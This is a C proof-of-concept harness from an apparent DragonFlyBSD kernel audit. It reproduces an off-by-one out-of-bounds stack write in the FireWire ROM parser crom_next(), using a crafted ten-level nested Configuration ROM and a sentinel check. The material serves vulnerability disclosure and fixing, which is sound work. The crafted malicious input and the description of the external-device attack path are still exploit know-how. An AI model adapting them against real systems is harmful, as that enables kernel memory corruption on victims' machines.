โฌข DragonFlyBSD Kernel Audit
1083 / harness.c
โ† back to finding โ†“ download raw
/*
 * DF-1083 โ€” Off-by-one in crom_next() CROM_MAX_DEPTH check
 * File: sys/bus/firewire/fwcrom.c:115
 *
 * This harness compiles the VERBATIM crom_init_context() / crom_get() /
 * crom_next() from fwcrom.c (lines 62-143) together with the exact
 * structures from iec13213.h, and feeds them a crafted 10-deep-nested
 * IEEE 1212 Configuration ROM.
 *
 * The Configuration ROM is the data structure an EXTERNAL FireWire device
 * presents on the bus.  The kernel parses it when attaching an SBP-2
 * (SCSI-over-FireWire) target โ€” see sys/dev/disk/sbp/sbp.c:405,549,595
 * where `struct crom_context cc` is a LOCAL (stack) variable.  A malicious
 * external device can therefore present a deeply-nested ROM to trigger this
 * path.  No FireWire controller exists in the QEMU guest, so we feed the
 * parser directly (the same CROM bytes the kernel would receive).
 *
 * THE BUG (fwcrom.c:115):
 *   if (cc->depth >= CROM_MAX_DEPTH)   // CROM_MAX_DEPTH == 10
 * At depth 9 this evaluates 9 >= 10 == false, so the guard does NOT fire.
 * Line 119 increments depth to 10; line 121 then does
 *   ptr = &cc->stack[cc->depth];       // &cc->stack[10] โ€” OUT OF BOUNDS
 * and lines 122-123 write 16 bytes (a pointer + an int) there.
 * stack[] has CROM_MAX_DEPTH(10) slots, valid indices 0..9 โ€” index 10 is
 * past the end of the struct, i.e. past the end of the kernel stack frame.
 *
 * BUILD:  cc -O0 -g -o harness harness.c
 *   (add -fsanitize=address for stack-buffer-overflow trapping)
 * RUN:    ./harness
 * EXPECT (bug present): prints "BUG CONFIRMED" and exits 1 (canary corrupted)
 * EXPECT (fixed):       prints "canary intact" and exits 0
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

typedef uint32_t u_int32_t;
typedef uint16_t u_int16_t;
typedef uint8_t  u_int8_t;
typedef unsigned long vm_offset_t;

/* ====================================================================
 * From sys/bus/firewire/iec13213.h โ€” copied verbatim (little-endian, x86_64)
 * ==================================================================== */

#define CROM_MAX_DEPTH  10
#define CSRTYPE_SHIFT   6
#define CSRTYPE_MASK    (3 << CSRTYPE_SHIFT)
#define CSRTYPE_D       (3 << CSRTYPE_SHIFT)   /* 0xC0 โ€” Directory type   */

struct csrreg {            /* iec13213.h:124 (LE branch) */
    u_int32_t val:24, key:8;
};
struct csrhdr {            /* iec13213.h:133 (LE branch) */
    u_int32_t crc:16, crc_len:8, info_len:8;
};
/* firewire.h:122 โ€” BIT16x2 on little-endian:  u_int32_t y:16, x:16 */
#define BIT16x2(x,y) u_int32_t y:16, x:16
struct csrdirectory {      /* iec13213.h:144 */
    BIT16x2(crc_len, crc); /*   low16=crc, high16=crc_len */
    struct csrreg entry[0];
};
struct crom_ptr {          /* iec13213.h:201 */
    struct csrdirectory *dir;
    int index;
};
struct crom_context {      /* iec13213.h:206 */
    int depth;
    struct crom_ptr stack[CROM_MAX_DEPTH];   /* valid: indices 0..9 */
};

#define MAX_ROM (1024 - sizeof(u_int32_t) * 5)
#define CROM_END(cc) ((vm_offset_t)(cc)->stack[0].dir + MAX_ROM - 1)

/* ====================================================================
 * From sys/bus/firewire/fwcrom.c:62-143 โ€” copied VERBATIM.
 * The only change is kprintf -> printf for userspace.  NOTHING in the
 * logic is altered; this is the exact kernel code.
 * ==================================================================== */

void
crom_init_context(struct crom_context *cc, u_int32_t *p)   /* fwcrom.c:62 */
{
    struct csrhdr *hdr;

    hdr = (struct csrhdr *)p;
    if (hdr->info_len == 0) {
        printf("crom_init_context: WARNING, info_len is 0\n");
        cc->depth = -1;
        return;
    }
    if (hdr->info_len == 1) {
        /* minimum ROM */
        cc->depth = -1;
    }
    p += 1 + hdr->info_len;

    /* check size of root directory */
    if (((struct csrdirectory *)p)->crc_len == 0) {
        cc->depth = -1;
        return;
    }
    cc->depth = 0;
    cc->stack[0].dir = (struct csrdirectory *)p;
    cc->stack[0].index = 0;
}

struct csrreg *
crom_get(struct crom_context *cc)                           /* fwcrom.c:96 */
{
    struct crom_ptr *ptr;

    ptr = &cc->stack[cc->depth];
    return (&ptr->dir->entry[ptr->index]);
}

void
crom_next(struct crom_context *cc)                          /* fwcrom.c:105 */
{
    struct crom_ptr *ptr;
    struct csrreg *reg;

    if (cc->depth < 0)
        return;
    reg = crom_get(cc);
    if ((reg->key & CSRTYPE_MASK) == CSRTYPE_D) {
        if (cc->depth >= CROM_MAX_DEPTH) {                  /* LINE 115 โ€” BUG */
            printf("crom_next: too deep\n");
            goto again;
        }
        cc->depth ++;

        ptr = &cc->stack[cc->depth];                        /* LINE 121 โ€” OOB */
        ptr->dir = (struct csrdirectory *) (reg + reg->val);/* LINE 122 โ€” WRITE */
        ptr->index = 0;                                     /* LINE 123 โ€” WRITE */
        goto check;
    }
again:
    ptr = &cc->stack[cc->depth];
    ptr->index ++;
check:
    if (ptr->index < ptr->dir->crc_len &&
            (vm_offset_t)crom_get(cc) <= CROM_END(cc))
        return;

    if (ptr->index < ptr->dir->crc_len)
        printf("crom_next: bound check failed\n");

    if (cc->depth > 0) {
        cc->depth--;
        goto again;
    }
    /* no more data */
    cc->depth = -1;
}

/* ====================================================================
 * Harness
 * ==================================================================== */

/*
 * Overflow probe: a crom_ptr placed IMMEDIATELY after stack[9] in memory,
 * i.e. exactly where the buggy code writes &cc->stack[10].  Because it is
 * the very next field in the containing struct, the compiler lays it out
 * contiguously (no padding: crom_context ends 8-aligned).  We pre-fill it
 * with sentinels and check whether crom_next clobbered it.
 */
struct probe_ctx {
    struct crom_context cc;
    struct crom_ptr     overflow_slot;   /* == &cc.stack[CROM_MAX_DEPTH] */
};

int main(void)
{
    /*
     * Crafted Configuration ROM โ€” 10 levels of directory nesting.
     *
     * Word layout (little-endian u_int32_t values):
     *   [0]     csrhdr:   info_len=4   (bits 24-31)
     *   [1..4]  bus_info: zero (4 words, not parsed by crom_init_context)
     *   [5]     root dir: crc_len=1    (high 16 bits via BIT16x2)
     *   [6]     entry:    key=CSRTYPE_D(0xC0), val=1  -> descend to [7]
     *   [7..8]  dir1 + entry -> descend to [9]
     *   ...    repeats for 10 directories (depths 0..9) ...
     *   [23]    dir9 header
     *   [24]    dir9 entry: CSRTYPE_D, val=1
     *           At this point cc->depth==9; the guard (9>=10) is FALSE,
     *           depth becomes 10, and &stack[10] is written -> OOB.
     */
    u_int32_t rom[64];
    memset(rom, 0, sizeof(rom));

    rom[0] = (4u << 24);                        /* csrhdr info_len=4 */

    int w = 5;                                   /* root dir at word[5] */
    int levels = 10;                             /* root + 9 subdirs */
    for (int i = 0; i < levels; i++) {
        rom[w]   = (1u << 16);                   /* dir hdr: crc_len=1 */
        rom[w+1] = ((u_int32_t)CSRTYPE_D << 24) | 1u;  /* CSRTYPE_D entry, val=1 */
        w += 2;
    }
    int romwords = w;                            /* 25 words */

    /* ---- set up context with overflow probe ---- */
    struct probe_ctx pctx;
    memset(&pctx, 0, sizeof(pctx));

    /* sentinel values in the overflow slot (where stack[10] would be) */
    pctx.overflow_slot.dir   = (struct csrdirectory *)0xDEADBEEFDEADBEEFull;
    pctx.overflow_slot.index = 0x12345678;

    printf("=== DF-1083 harness: crom_next off-by-one (CROM_MAX_DEPTH) ===\n");
    printf("rom: %d words, %d nested directories\n", romwords, levels);
    printf("struct crom_context: sizeof=%zu, stack[10] would be at offset %zu\n",
           sizeof(struct crom_context),
           __builtin_offsetof(struct probe_ctx, overflow_slot));

    crom_init_context(&pctx.cc, rom);
    printf("after init: depth=%d (root dir crc_len=%u)\n",
           pctx.cc.depth, pctx.cc.stack[0].dir->crc_len);

    /* Walk the ROM โ€” this drives crom_next through all nesting levels. */
    int steps = 0, maxdepth = 0;
    while (pctx.cc.depth >= 0 && steps < 200) {
        if (pctx.cc.depth > maxdepth)
            maxdepth = pctx.cc.depth;
        crom_next(&pctx.cc);
        steps++;
    }
    printf("walk complete: steps=%d, observed max depth=%d, final depth=%d\n",
           steps, maxdepth, pctx.cc.depth);

    /* ---- check overflow slot ---- */
    unsigned long written_dir = (unsigned long)pctx.overflow_slot.dir;
    int written_idx = pctx.overflow_slot.index;

    printf("overflow_slot (== &stack[10]) AFTER walk:\n");
    printf("  .dir   = 0x%016lx  (sentinel was 0xDEADBEEFDEADBEEF)\n", written_dir);
    printf("  .index = 0x%08x     (sentinel was 0x12345678)\n", written_idx);

    if (written_dir != 0xDEADBEEFDEADBEEFull || written_idx != 0x12345678) {
        printf("\n>>> BUG CONFIRMED: crom_next wrote &stack[10] OUT OF BOUNDS.\n");
        printf(">>> The 16-byte crom_ptr past the array was overwritten:\n");
        printf(">>>   dir set to %p (rom word %p + val offset), index set to 0.\n",
               pctx.overflow_slot.dir, (void*)(rom + (written_dir - (unsigned long)rom)));
        printf(">>> In-kernel this corrupts the kernel stack frame (return addr,\n");
        printf(">>> saved regs) of sbp_alloc_lun/sbp_alloc_target/sbp_alloc_dev.\n");
        return 1;
    }

    printf("\n>>> canary intact: no OOB write (guard fired correctly).\n");
    return 0;
}